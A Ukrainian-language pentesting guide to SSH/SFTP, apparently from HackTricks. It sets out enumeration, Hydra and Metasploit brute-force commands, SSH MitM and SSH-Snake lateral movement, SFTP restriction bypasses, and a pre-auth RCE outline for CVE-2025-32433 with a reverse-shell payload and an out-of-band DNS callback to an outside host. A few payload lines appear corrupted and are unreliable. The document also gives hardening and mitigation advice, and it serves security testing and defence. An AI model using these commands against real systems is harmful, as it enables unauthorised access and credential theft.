22 - Pentesting SSH/SFTP

Основна інформація

SSH (Secure Shell або Secure Socket Shell) - це мережевий протокол, який забезпечує безпечне з'єднання з комп'ютером через незахищену мережу. Він є важливим для підтримки конфіденційності та цілісності даних при доступі до віддалених систем.

Порт за замовчуванням: 22

22/tcp open  ssh     syn-ack

SSH сервери:

• openSSH – OpenBSD SSH, постачається в BSD, дистрибутивах Linux та Windows з Windows 10
• Dropbear – реалізація SSH для середовищ з обмеженими ресурсами пам'яті та процесора, постачається в OpenWrt
• PuTTY – реалізація SSH для Windows, клієнт зазвичай використовується, але використання сервера є рідкісним
• CopSSH – реалізація OpenSSH для Windows

Бібліотеки SSH (реалізація на стороні сервера):

• libssh – багатоплатформна C бібліотека, що реалізує протокол SSHv2 з прив'язками в Python, Perl та R; використовується KDE для sftp та GitHub для інфраструктури git SSH
• wolfSSH – бібліотека сервера SSHv2, написана на ANSI C та орієнтована на вбудовані, RTOS та середовища з обмеженими ресурсами
• Apache MINA SSHD – бібліотека Apache SSHD на Java базується на Apache MINA
• paramiko – бібліотека протоколу SSHv2 на Python

Перерахування

Захоплення банера

nc -vn <IP> 22

Автоматизований ssh-аудит

ssh-audit - це інструмент для аудиту конфігурації ssh-сервера та клієнта.

https://github.com/jtesta/ssh-audit - це оновлений форк від https://github.com/arthepsy/ssh-audit/

Особливості:

• Підтримка серверів протоколів SSH1 та SSH2;
• аналіз конфігурації SSH-клієнта;
• отримання банера, розпізнавання пристрою або програмного забезпечення та операційної системи, виявлення стиснення;
• збір алгоритмів обміну ключами, ключів хоста, шифрування та коду автентифікації повідомлень;
• вивід інформації про алгоритми (доступно з, видалено/вимкнено, небезпечно/слабко/старе тощо);
• вивід рекомендацій щодо алгоритмів (додати або видалити на основі розпізнаної версії програмного забезпечення);
• вивід інформації про безпеку (пов'язані проблеми, призначений список CVE тощо);
• аналіз сумісності версій SSH на основі інформації про алгоритми;
• історична інформація з OpenSSH, Dropbear SSH та libssh;
• працює на Linux та Windows;
• без залежностей

usage: ssh-audit.py [-1246pbcnjvlt] <host>

-1,  --ssh1             force ssh version 1 only
-2,  --ssh2             force ssh version 2 only
-4,  --ipv4             enable IPv4 (order of precedence)
-6,  --ipv6             enable IPv6 (order of precedence)
-p,  --port=<port>      port to connect
-b,  --batch            batch output
-c,  --client-audit     starts a server on port 2222 to audit client
software config (use -p to change port;
use -t to change timeout)
-n,  --no-colors        disable colors
-j,  --json             JSON output
-v,  --verbose          verbose output
-l,  --level=<level>    minimum output level (info|warn|fail)
-t,  --timeout=<secs>   timeout (in seconds) for connection and reading
(default: 5)
$ python3 ssh-audit <IP>

Дивіться це в дії (Asciinema)

Публічний SSH ключ сервера

ssh-keyscan -t rsa <IP> -p <PORT>

Слабкі алгоритми шифрування

Це виявляється за замовчуванням за допомогою nmap. Але ви також можете використовувати sslcan або sslyze.

Скрипти Nmap

nmap -p22 <ip> -sC # Send default nmap scripts for SSH
nmap -p22 <ip> -sV # Retrieve version
nmap -p22 <ip> --script ssh2-enum-algos # Retrieve supported algorythms
nmap -p22 <ip> --script ssh-hostkey --script-args ssh_hostkey=full # Retrieve weak keys
nmap -p22 <ip> --script ssh-auth-methods --script-args="ssh.user=root" # Check authentication methods

Shodan

• ssh

Брутфорс імен користувачів, паролів та приватних ключів

Перерахування імен користувачів

В деяких версіях OpenSSH ви можете здійснити таймінгову атаку для перерахування користувачів. Ви можете використовувати модуль metasploit для експлуатації цього:

msf> use scanner/ssh/ssh_enumusers

Brute force

Деякі загальні ssh облікові дані тут та тут і нижче.

Private Key Brute Force

Якщо ви знаєте деякі ssh приватні ключі, які можуть бути використані... давайте спробуємо. Ви можете використовувати скрипт nmap:

https://nmap.org/nsedoc/scripts/ssh-publickey-acceptance.html

Або модуль допоміжного MSF:

msf> use scanner/ssh/ssh_identify_pubkeys

Або використовуйте ssh-keybrute.py (рідний python3, легкий і має увімкнені застарілі алгоритми): snowdroppe/ssh-keybrute.

Відомі погані ключі можна знайти тут:

{{#ref}} https://github.com/rapid7/ssh-badkeys/tree/master/authorized {{#endref}}

Слабкі SSH ключі / Передбачуваний PRNG Debian

Деякі системи мають відомі недоліки в випадковому насінні, яке використовується для генерації криптографічного матеріалу. Це може призвести до значного зменшення простору ключів, який можна зламати. Попередньо згенеровані набори ключів, згенеровані на системах Debian, які підлягають впливу слабкого PRNG, доступні тут: g0tmi1k/debian-ssh.

Вам слід подивитися тут, щоб знайти дійсні ключі для машини жертви.

Kerberos

crackmapexec з використанням протоколу ssh може використовувати опцію --kerberos для автентифікації через kerberos.
Для отримання додаткової інформації запустіть crackmapexec ssh --help.

Стандартні облікові дані

SSH-MitM

Якщо ви знаходитесь у локальній мережі, як жертва, яка збирається підключитися до SSH-сервера, використовуючи ім'я користувача та пароль, ви можете спробувати виконати атаку MitM, щоб вкрасти ці облікові дані:

Шлях атаки:

• Перенаправлення трафіку: Зловмисник відволікає трафік жертви на свою машину, ефективно перехоплюючи спробу підключення до SSH-сервера.
• Перехоплення та ведення журналу: Машина зловмисника діє як проксі, захоплюючи дані для входу користувача, видаючи себе за легітимний SSH-сервер.
• Виконання команд та реле: Нарешті, сервер зловмисника реєструє облікові дані користувача, пересилає команди на реальний SSH-сервер, виконує їх і надсилає результати назад користувачу, роблячи процес безперервним і легітимним.

SSH MITM робить саме те, що описано вище.

Щоб захопити, виконайте фактичний MitM, ви можете використовувати такі техніки, як ARP спуфінг, DNS спуфінг або інші, описані в Атаках на мережеве спуфінг.

SSH-Snake

Якщо ви хочете пересуватися мережею, використовуючи виявлені приватні SSH ключі на системах, використовуючи кожен приватний ключ на кожній системі для нових хостів, тоді SSH-Snake - це те, що вам потрібно.

SSH-Snake автоматично та рекурсивно виконує такі завдання:

1. На поточній системі знайти будь-які приватні SSH ключі,
2. На поточній системі знайти будь-які хости або призначення (user@host), які можуть приймати приватні ключі,
3. Спробувати підключитися до всіх призначень, використовуючи всі виявлені приватні ключі,
4. Якщо призначення успішно підключено, повторити кроки #1 - #4 на підключеній системі.

Він повністю самовідтворюється і саморозповсюджується - і повністю безфайловий.

Неправильні конфігурації

Вхід як root

Зазвичай SSH-сервери дозволяють вхід користувача root за замовчуванням, що становить значний ризик для безпеки. Вимкнення входу root є критично важливим кроком у забезпеченні безпеки сервера. Несанкціонований доступ з адміністративними привілеями та атаки методом грубої сили можуть бути зменшені шляхом внесення цієї зміни.

Щоб вимкнути вхід root в OpenSSH:

1. Відредагуйте файл конфігурації SSH за допомогою: sudoedit /etc/ssh/sshd_config
2. Змініть налаштування з #PermitRootLogin yes на PermitRootLogin no.
3. Перезавантажте конфігурацію за допомогою: sudo systemctl daemon-reload
4. Перезапустіть SSH-сервер для застосування змін: sudo systemctl restart sshd

SFTP Брутфорс

• SFTP Брутфорс

Виконання команд SFTP

Існує поширена помилка в налаштуваннях SFTP, коли адміністратори мають намір, щоб користувачі обмінювалися файлами без увімкнення доступу до віддаленого терміналу. Незважаючи на те, що користувачам надаються неінтерактивні оболонки (наприклад, /usr/bin/nologin) і обмежуються певною директорією, залишається прогалина в безпеці. Користувачі можуть обійти ці обмеження, запитуючи виконання команди (такої як /bin/bash) відразу після входу, до того, як їх призначена неінтерактивна оболонка візьме на себе. Це дозволяє виконувати несанкціоновані команди, підриваючи заплановані заходи безпеки.

Приклад звідси:

ssh -v noraj@192.168.1.94 id
...
Password:
debug1: Authentication succeeded (keyboard-interactive).
Authenticated to 192.168.1.94 ([192.168.1.94]:22).
debug1: channel 0: new [client-session]
debug1: Requesting no-more-sessions@openssh.com
debug1: Entering interactive session.
debug1: pledge: network
debug1: client_input_global_request: rtype hostkeys-00@openssh.com want_reply 0
debug1: Sending command: id
debug1: client_input_channel_req: channel 0 rtype exit-status reply 0
debug1: client_input_channel_req: channel 0 rtype eow@openssh.com reply 0
uid=1000(noraj) gid=100(users) groups=100(users)
debug1: channel 0: free: client-session, nchannels 1
Transferred: sent 2412, received 2480 bytes, in 0.1 seconds
Bytes per second: sent 43133.4, received 44349.5
debug1: Exit status 0

$ ssh noraj@192.168.1.94 /bin/bash

Ось приклад безпечної конфігурації SFTP (/etc/ssh/sshd_config – openSSH) для користувача noraj:

Match User noraj
ChrootDirectory %h
ForceCommand internal-sftp
AllowTcpForwarding no
PermitTunnel no
X11Forwarding no
PermitTTY no

Ця конфігурація дозволить лише SFTP: відключаючи доступ до оболонки, примушуючи команду запуску та відключаючи доступ до TTY, а також відключаючи всі види переадресації портів або тунелювання.

SFTP Тунелювання

Якщо у вас є доступ до SFTP сервера, ви також можете тунелювати свій трафік через це, наприклад, використовуючи звичайну переадресацію портів:

sudo ssh -L <local_port>:<remote_host>:<remote_port> -N -f <username>@<ip_compromised>

SFTP Symlink

Команда sftp має команду "symlink". Тому, якщо у вас є права на запис в якійсь папці, ви можете створювати symlink на інші папки/файли. Оскільки ви, напевно, застрягли всередині chroot, це не буде особливо корисно для вас, але, якщо ви можете доступитися до створеного symlink з no-chroot сервісу (наприклад, якщо ви можете доступитися до symlink з вебу), ви могли б відкрити symlinked файли через веб.

Наприклад, щоб створити symlink з нового файлу "froot" на "/":

sftp> symlink / froot

Якщо ви можете отримати доступ до файлу "froot" через веб, ви зможете переглянути кореневу ("/") папку системи.

Методи аутентифікації

У середовищах з високою безпекою звичайною практикою є увімкнення лише аутентифікації на основі ключів або двофакторної аутентифікації, а не простого пароля. Але часто більш надійні методи аутентифікації увімкнені без вимкнення слабших. Частим випадком є увімкнення publickey у конфігурації openSSH і встановлення його як методу за замовчуванням, але без вимкнення password. Таким чином, використовуючи режим детального виводу клієнта SSH, зловмисник може побачити, що увімкнено слабший метод:

ssh -v 192.168.1.94
OpenSSH_8.1p1, OpenSSL 1.1.1d  10 Sep 2019
...
debug1: Authentications that can continue: publickey,password,keyboard-interactive

Наприклад, якщо встановлено обмеження на кількість невдалих спроб автентифікації і ви ніколи не отримуєте можливості дійти до методу пароля, ви можете використовувати опцію PreferredAuthentications, щоб примусити використовувати цей метод.

ssh -v 192.168.1.94 -o PreferredAuthentications=password
...
debug1: Next authentication method: password

Перегляд конфігурації сервера SSH є необхідним для перевірки, що лише очікувані методи авторизовані. Використання режиму детального виводу на клієнті може допомогти побачити ефективність конфігурації.

Config files

ssh_config
sshd_config
authorized_keys
ssh_known_hosts
known_hosts
id_rsa

Fuzzing

• https://packetstormsecurity.com/files/download/71252/sshfuzz.txt
• https://www.rapid7.com/db/modules/auxiliary/fuzzers/ssh/ssh_version_2

Обхід стану аутентифікації (Pre-Auth RCE)

Декілька реалізацій SSH-серверів містять логічні помилки в кінцевому автоматі аутентифікації, які дозволяють клієнту надсилати повідомлення протоколу з'єднання до завершення аутентифікації. Оскільки сервер не перевіряє, що він у правильному стані, ці повідомлення обробляються так, ніби користувач повністю аутентифікований, що призводить до неаутентифікованого виконання коду або створення сесії.

На рівні протоколу будь-яке SSH-повідомлення з кодом повідомлення ≥ 80 (0x50) належить до шару з'єднання (RFC 4254) і повинно прийматися лише після успішної аутентифікації (RFC 4252). Якщо сервер обробляє одне з цих повідомлень, перебуваючи ще в стані SSH_AUTHENTICATION, зловмисник може негайно створити канал і запитати дії, такі як виконання команд, переадресація портів тощо.

Загальні кроки експлуатації

1. Встановіть TCP-з'єднання з SSH-портом цілі (зазвичай 22, але інші служби можуть відкривати Erlang/OTP на 2022, 830, 2222…).
2. Сформуйте сирий SSH-пакет:

• 4-байтовий packet_length (big-endian)
• 1-байтовий message_code ≥ 80 (наприклад, SSH_MSG_CHANNEL_OPEN = 90, SSH_MSG_CHANNEL_REQUEST = 98)
• Вантаж, який буде зрозумілий обраного типу повідомлення

3. Надішліть пакет(и) до завершення будь-якого кроку аутентифікації.
4. Взаємодійте з API сервера, які тепер доступні pre-auth (виконання команд, переадресація портів, доступ до файлової системи тощо).

Python proof-of-concept outline:

import socket, struct
HOST, PORT = '10.10.10.10', 22
s = socket.create_connection((HOST, PORT))
# skip version exchange for brevity – send your own client banner then read server banner
# … key exchange can be skipped on vulnerable Erlang/OTP because the bug is hit immediately after the banner
# Packet: len(1)=1, SSH_MSG_CHANNEL_OPEN (90)
pkt  = struct.pack('>I', 1) + b'\x5a'  # 0x5a = 90
s.sendall(pkt)
# additional CHANNEL_REQUEST packets can follow to run commands

На практиці вам потрібно буде виконати (або пропустити) обмін ключами відповідно до реалізації цілі, але жодна аутентифікація ніколи не виконується.

Erlang/OTP sshd (CVE-2025-32433)

• Підлягаючі версії: OTP < 27.3.3, 26.2.5.11, 25.3.2.20
• Корінна причина: вбудований SSH-демон Erlang не перевіряє поточний стан перед викликом ssh_connection:handle_msg/2. Тому будь-який пакет з кодом повідомлення 80-255 досягає обробника з'єднання, поки сесія все ще знаходиться в стані userauth.
• Вплив: неаутентифіковане віддалене виконання коду (демон зазвичай працює як root на вбудованих/OT пристроях).

Приклад корисного навантаження, яке створює зворотний шелл, прив'язаний до каналу, контрольованого зловмисником:

% open a channel first … then:
execSinet:cmd(Channel, "exec('/bin/sh', ['-i'], [{fd, Channel#channel.fd}, {pid, true}]).").

Сліпа RCE / виявлення поза каналом може бути виконано через DNS:

execSinet:gethostbyname("<random>.dns.outbound.watchtowr.com").Zsession

Виявлення та пом'якшення:

• Перевірте трафік SSH: відхиліть будь-який пакет з кодом повідомлення ≥ 80, спостережуваним до аутентифікації.
• Оновіть Erlang/OTP до 27.3.3 / 26.2.5.11 / 25.3.2.20 або новішої версії.
• Обмежте доступ до портів управління (22/2022/830/2222) – особливо на обладнанні OT.

Інші реалізації, що підлягають впливу

• libssh 0.6 – 0.8 (сторона сервера) – CVE-2018-10933 – приймає неаутентифіковане SSH_MSG_USERAUTH_SUCCESS, надіслане клієнтом, фактично є логічною помилкою зворотного порядку.

Загальний урок полягає в тому, що будь-яке відхилення від станів, передбачених RFC, може бути фатальним; при перегляді або фуззингу демонів SSH звертайте особливу увагу на забезпечення станів машини.

Посилання

• Unit 42 – Erlang/OTP SSH CVE-2025-32433
• Посібники з посилення SSH
• Посібник з хакінгу SSH від Turgensec

Автоматичні команди HackTricks

Protocol_Name: SSH
Port_Number: 22
Protocol_Description: Secure Shell Hardening

Entry_1:
Name: Hydra Brute Force
Description: Need Username
Command: hydra -v -V -u -l {Username} -P {Big_Passwordlist} -t 1 {IP} ssh

Entry_2:
Name: consolesless mfs enumeration
Description: SSH enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/ssh/ssh_version; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use scanner/ssh/ssh_enumusers; set RHOSTS {IP}; set RPORT 22; run; exit' && msfconsole -q -x 'use auxiliary/scanner/ssh/juniper_backdoor; set RHOSTS {IP}; set RPORT 22; run; exit'